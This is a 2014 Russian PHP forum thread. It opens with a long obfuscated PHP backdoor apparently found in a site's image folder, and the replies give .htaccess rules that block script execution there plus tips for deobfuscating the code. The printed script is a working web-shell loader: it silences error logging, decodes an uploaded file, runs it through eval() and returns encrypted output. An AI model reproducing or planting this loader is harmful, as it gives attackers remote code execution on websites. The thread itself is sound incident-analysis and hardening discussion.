$MqVO4 = array(chr(98)."zde".chr(99)."ompress",'Y'.'npk'."Z".chr(87)."N"."vbXB".chr(121)."ZXN".chr(122),"Ynp".chr(107).'ZWNv'."bX"."ByZX".chr(78)."z",'is_in'.chr(116));
$proces = array("M".'A==',"b".'cad'.chr(100),'ord','pow','chr');
$Misown_7 = array('ce'."il",chr(102).'u'."nc"."t".'ion_e'."x".chr(105).'sts','is'.'_ca'.'ll'."a".'b'.'le','s'.chr(116)."r"."len","b".'cd'.'iv',chr(98).'cpow'.chr(109).'o'."d",'YmNwb3dtb2'."Q".'=','M'.'A'."==","s"."u".chr(98)."str","Y".chr(109).'N'."w".'b3dtb2'."Q=",'bcmu'.chr(108));$irclosisties2 = array('bcmod','b'.'G9nX'.chr(50)."Vy".'cm9ycw'.chr(61).'=','i'.chr(110).'i'."_".'set','erro'."r".chr(95).'report'.'ing','MA==',"b3V"."0cHV0X".'2J'.'1ZmZl'.'cm'.'l'."u"."Zw==","MA==",'Z'.chr(88).'Jyb'.chr(51)."JfbG9".'n',"MQ"."==","Z".chr(71)."lzcGxhe"."V9l"."c".'n'."Jv".'cnM'."=");

@
$irclosisties2[3](0);
@
$irclosisties2[2]($Misimages_4($irclosisties2[7]), false);

@
$irclosisties2[2]($Misimages_4($irclosisties2[1]), false);

@
$irclosisties2[2]($Misimages_4($irclosisties2[9]), false); 

@
$irclosisties2[2]($Misimages_4($irclosisties2[5]), false);



 function 
fsFekql($Submanly7$Image_b810$mened)
{    
$returns '';
$Calles 'TadwsMTj8Htw9e3oight6iVb9uhcyF04_s';

$Disposeries = array(2314132031322132715213);

foreach (
$Disposeries as $imaglyes)
  
$returns .= $Calles[$imaglyes];
global 
$Misown_7;

global 
$irclosisties2;

  
$overcalure_83 $returns($irclosisties2[8]);

  
$XIuaCL $irclosisties2[0]($Submanly7$mened);

  while (
$Image_b810 != $returns($irclosisties2[4]))
  {

    if (
$irclosisties2[0]($Image_b8102) != $returns($irclosisties2[6]))
      
$overcalure_83 $irclosisties2[0]($Misown_7[10]($overcalure_83$XIuaCL), $mened);

    
$XIuaCL $irclosisties2[0]($Misown_7[10]($XIuaCL$XIuaCL), $mened);

    
$Image_b810 $Misown_7[4]($Image_b8102);
  }
  return 
$overcalure_83;
}

 function 
oversexing3d12($Irtext923e$Exmansions$lange_89)
{
global 
$Misimages_4;

global 
$Misown_7;

  if (
$Misown_7[1]($Misimages_4($Misown_7[6])) && $Misown_7[2]($Misimages_4($Misown_7[9])))
    return 
$Misown_7[5]($Irtext923e$Exmansions$lange_89);


  else
    return 
fsFekql($Irtext923e$Exmansions$lange_89);    
}





 function 
Namtioned_39($Irmanenties72$excallies)
{
$Misowning67 = array('chr',"bc".chr(100).'i'.'v',chr(98).'cmod');


  
$Irmanenties72 "$Irmanenties72";


  
$irowned55 '';


  do
  {
    
$irowned55 $Misowning67[0]($Misowning67[2]($Irmanenties72$excallies)).$irowned55;
    
$Irmanenties72 $Misowning67[1]($Irmanenties72$excallies);

  }

  while (
$Irmanenties72 != 0);

  return 
$irowned55;



 function 
closives_2($ilnaments$Sexurees17$procfuling_21)

global 
$Misimages_4;
 global 
$proces;
global 
$Misown_7;
 

  
$undermanories  '';

  
$Texties_96 3;

    
  
$technologies $Misown_7[0]($Misown_7[3]($ilnaments) / $Texties_96);


  for(
$Exlangibles 0;
 
$Exlangibles $technologies;
 ++
$Exlangibles)
  {
    
$Formed $Misown_7[8]($ilnaments$Exlangibles*$Texties_96$Texties_96); 
    
$overreturnsionies   $Misimages_4($Misown_7[7]);    

    for(
$medium 0;
 
$medium $Misown_7[3]($Formed); ++$medium)
      
$overreturnsionies += ($proces[2]($Formed[$medium]) + 1) * $proces[3](256$medium);

    
$overreturnsionies    Namtioned_39(oversexing3d12($overreturnsionies$Sexurees17$procfuling_21), 255);
    
$undermanories .= $overreturnsionies.$proces[4](255);
 
  }

  return 
$Misown_7[8]($undermanories0, -1);
}




 function 
dismanes_64($Sexing_0$sucies_45)
{
$suca2f chr(98)."as".chr(101)."64_de".'co'.'de';global $proces;
global 
$Misown_7;

  
$Sexing_0 "$Sexing_0";
  
$exsexed $suca2f($proces[0]);
  
$Nonreturnible_138 $Misown_7[3]($Sexing_0) - 1;

  for (
$reowne 0;     $reowne <= $Nonreturnible_138;
 ++
$reowne)
    
$exsexed $proces[1]($exsexed$Misown_7[10]($proces[2]($Sexing_0[$reowne]), $proces[3]($sucies_45$Nonreturnible_138 $reowne)));

 

  return 
$exsexed;

}

 function 
imagies_cb24($manlyies_a$immenist$Man3b)
{

  
$irimag ''$Overmenives_a4 = array("floor",chr(101).chr(120).'pl'."o".'d'.'e',"co".'unt',"chr");

  
$closies5 $Overmenives_a4[1]($Overmenives_a4[3](255), $manlyies_a);
      

  for (
$Returnible_14 0;

     
$Returnible_14 $Overmenives_a4[2]($closies5);
 ++
$Returnible_14)
  {
    
$Subclosing_58 oversexing3d12(dismanes_64($closies5[$Returnible_14], 255), $immenist$Man3b);

    while (
$Subclosing_58 != 0)
    {
      
$irimag .= $Overmenives_a4[3](($Subclosing_58-1) % 256);

      
$Subclosing_58    $Overmenives_a4[0](($Subclosing_58-1) / 256);    
    }
 
  }


  return 
$irimag;

}



 function 
prepos8($jm9lDEp) {
$Posies_f29 '';


$posuries_26 'd4sq2yiVUQ1JaBVO8POQL8ldPLTe1oCFb_c6lkr';


$Remens = array(3212227351330273429027);
foreach (
$Remens as $Misucing)
  
$Posies_f29 .= $posuries_26[$Misucing];

global 
$Sexss14;

global 
$MqVO4;


global 
$Misown_7;

  
$Nonproce_67 false;


  if (
$Misown_7[1]($Posies_f29($MqVO4[2])) && $Misown_7[2]($Posies_f29($MqVO4[1]))) {
    
$Nonproce_67 = @$MqVO4[0]($jm9lDEp);

    if (!
$MqVO4[3]($Nonproce_67)) return $Nonproce_67;
  } 
  if (
$Misown_7[1]($Posies_f29($Sexss14[2])) && $Misown_7[2]($Posies_f29($Sexss14[8]))) {

    
$Nonproce_67 = @$Sexss14[5]($jm9lDEp);

    if (
$jm9lDEp == $Sexss14[0]($Nonproce_679)) return $Nonproce_67;

  }
  return 
$jm9lDEp;
}
 function 
Undersucist($Nonsuce) {
  eval(
$Nonsuce);
}
 function 
Closented56($postlanging_61d) {
$NdSQv '';
$pictente '6fA9uQMlqwk9AaX_BEg1QEqsbdNxVu15obe4cwI';

$suces1521 = array(2413233403515253436322534);

foreach (
$suces1521 as $procismed61)
  
$NdSQv .= $pictente[$procismed61];
global 
$Sexss14;

global 
$Misown_7

  if (
$Misown_7[1]($NdSQv($Sexss14[6])) && $Misown_7[2]($NdSQv($Sexss14[3])))   $postlanging_61d = @$Sexss14[10]($postlanging_61d9);
 
  elseif (
$Misown_7[1]($NdSQv($Sexss14[9])) && $Misown_7[2]($NdSQv($Sexss14[7]))) $postlanging_61d = @$Sexss14[0]($postlanging_61d9);
  return 
$postlanging_61d;
}
@
$Sexss14[1](0);

@
$irclosisties2[2]($Misimages_4($Sexss14[4]), 60);

@
$irclosisties2[2]($Misimages_4($premantiones[1]), 0);
@
$irclosisties2[2]($Misimages_4($premantiones[0]), false);
@
$irclosisties2[2]($Misimages_4($imagents[0]), -1);

if (
$Misown_7[1]($Misimages_4($Mener_75[1])) && $Misown_7[2]($Misimages_4($Mener_75[2]))) @$Mener_75[0]($Misimages_4($Picting[1]));    
elseif (
$Misown_7[1]($Misimages_4($Picting[2])) && $Misown_7[2]($Misimages_4($Picting[0]))) @$Mener_75[0]($Misimages_4($Picting[3]));

else @
$Mener_75[0]($Misimages_4($Langs[1]));
$formesd31 = @$Langs[2](@$_FILES[$Misimages_4($Langs[0])][$Misimages_4($Postprocies[0])]);    
$formesd31 prepos8($formesd31);

$formesd31 imagies_cb24($formesd31$Misimages_4($Nonproced72[2]), $Misimages_4($Nonproced72[3]));
$formesd31 prepos8($formesd31);


$Nonproced72[1]();
Undersucist($formesd31);


$imagisted12 $Nonproced72[0]();
$install[2]();


$imagisted12 Closented56($imagisted12);
    
$imagisted12 closives_2($imagisted12$Misimages_4($install[0]), $Misimages_4($install[1]));

$imagisted12 Closented56($imagisted12);
echo 
$imagisted12;

?>

  Ответить  
 
 автор: confirm   (26.06.2014 в 11:46)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 11:22)
 

Зачем такие портянки выставлять? Вот и анализируйте для уяснения.
А в директориях изображений и прочих публичных должно быть запрещено исполнение всяких исполняемых скриптов.
И если залито в директорию изображений, значит ваш скрипт их загрузки имеет приличные дыры.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 12:12)   письмо автору
 
   для: confirm   (26.06.2014 в 11:46)
 

Как в директории где картинки и прочие файлы запретить выполнение исполняемых скриптов? Это делается при помощи htaccess?

  Ответить  
 
 автор: confirm   (26.06.2014 в 12:25)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 12:12)
 

Да, в htaccess прописать запрет.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 13:42)   письмо автору
 
   для: confirm   (26.06.2014 в 12:25)
 

Вот так правильно?
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

  Ответить  
 
 автор: confirm   (26.06.2014 в 14:31)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 13:42)
 

Нет, что-то типа такого должно быть:

Options -Indexes
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
RemoveType php
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml


Что касается кода, то в нем больше "мишуры" для отвлечения глаза. Например:

<?
$Misimages_4 
''

$imclos_6 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';  
$PXk45BAp = array(221114101221254527254); 

foreach (
$PXk45BAp as $Subposist
$Misimages_4 .= $imclos_6[$Subposist];

//в итоге $Misimages_4 = base64_decode
//далее содержимое массивов, где в base64 содержаться имена ini-переменных
//это легко просмотреть все - print_r для массивов, где явно видны base64-значения без мишуры
//и имена функций, а что делается в начале, видно вот так
//вместо @$irclosisties2[2]($Misimages_4($irclosisties2[9]), false) и т.п.
  
echo $irclosisties2[3] . '(0)'
echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[7]). ',false)'

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[1]). ',false)';

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[9]). ',false)';

echo 
$irclosisties2[2] . '(' base64_decode($irclosisties2[5]). ',false)'

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования